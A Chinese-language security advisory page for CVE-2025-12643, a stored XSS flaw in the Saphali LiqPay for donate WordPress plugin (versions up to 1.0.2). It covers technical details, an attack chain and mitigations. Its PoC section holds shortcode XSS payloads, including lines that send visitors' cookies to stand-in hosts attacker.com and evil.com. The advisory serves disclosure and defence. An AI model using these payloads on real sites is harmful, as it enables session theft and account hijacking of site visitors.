IPBUF安全漏洞报告
English
CVE-2025-12643 CVSS 6.4 中危

CVE-2025-12643 WordPress Saphali LiqPay插件存储型XSS漏洞

披露日期: 2025-11-08

漏洞信息

漏洞编号
CVE-2025-12643
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Saphali LiqPay for donate WordPress插件

相关标签

存储型XSSWordPress插件漏洞shortcode注入CVE-2025-12643Saphali LiqPayLiqPay支付插件权限提升漏洞CVSS 6.4

漏洞概述

CVE-2025-12643是WordPress插件Saphali LiqPay for donate中的一个高危安全漏洞。该插件用于处理LiqPay支付捐款功能,在1.0.2及之前的所有版本中存在存储型跨站脚本(XSS)漏洞。漏洞根源在于插件对用户提供的shortcode属性参数缺乏充分的输入 sanitization(消毒)和输出转义(escape)处理。攻击者通过利用'saphali_liqpay'短代码功能,可以在页面中注入任意Web脚本代码。由于漏洞属于存储型XSS,恶意代码会被永久保存在服务器端,任何访问包含恶意代码页面的用户都会触发执行攻击脚本。此漏洞需要攻击者具备WordPress网站 contributor 级别及以上的账户权限,虽然认证要求降低了攻击门槛,但仍然限制了利用范围。CVSS 3.1评分6.4,属于中等严重程度,主要影响网站的机密性和完整性。

技术细节

该漏洞位于插件的 liqpay-d.php 文件中(约第102行附近),具体是 saphali_liqpay shortcode 的属性处理逻辑。插件在处理短代码属性时,直接将用户输入的参数值用于HTML输出,而没有进行适当的HTML实体转义或输入验证。攻击者可以通过构造恶意的shortcode属性值,如在属性中注入<script>标签或事件处理器(如 onerror、onload 等),来实现JavaScript代码执行。由于WordPress的shortcode机制会在页面渲染时自动解析并输出内容,恶意脚本会被嵌入到页面HTML中,形成存储型XSS攻击面。攻击者利用此漏洞可以窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或传播恶意内容。修复需要在输出前对所有用户可控的属性值进行htmlspecialchars()或类似函数的转义处理。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站 contributor 级别或更高权限的账户
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意JavaScript代码的 saphali_liqpay shortcode
STEP 3
步骤3
恶意代码通过插件的shortcode处理逻辑被存储到数据库中,未经过滤转义
STEP 4
步骤4
其他用户访问包含恶意内容的页面时,浏览器解析HTML并执行注入的脚本
STEP 5
步骤5
攻击脚本窃取用户会话cookie、凭据或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress管理员或贡献者可在文章/页面中插入以下短代码触发XSS --> [saphali_liqpay amount='"><script>alert(document.cookie)</script>'] <!-- 绕过引号过滤的变体 --> [saphali_liqpay amount='123' onerror='alert(1)'] <!-- 利用事件处理器 --> [saphali_liqpay amount='1' onload='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- 完整的恶意脚本示例 --> [saphali_liqpay amount='"><img src=x onerror='var img=new Image();img.src="https://evil.com/log?c="+btoa(document.cookie);'>']

影响范围

Saphali LiqPay for donate ≤ 1.0.2

防御指南

临时缓解措施
如果无法立即升级插件,可临时采取以下措施:1) 审查并移除所有使用 saphali_liqpay shortcode 的文章/页面内容;2) 撤销不可信用户的 contributor 及以上权限;3) 在WordPress主题的functions.php中添加shortcode过滤器对属性进行转义;4) 部署Web应用防火墙(WAF)规则拦截恶意请求;5) 考虑暂时禁用该插件,使用其他支付插件替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表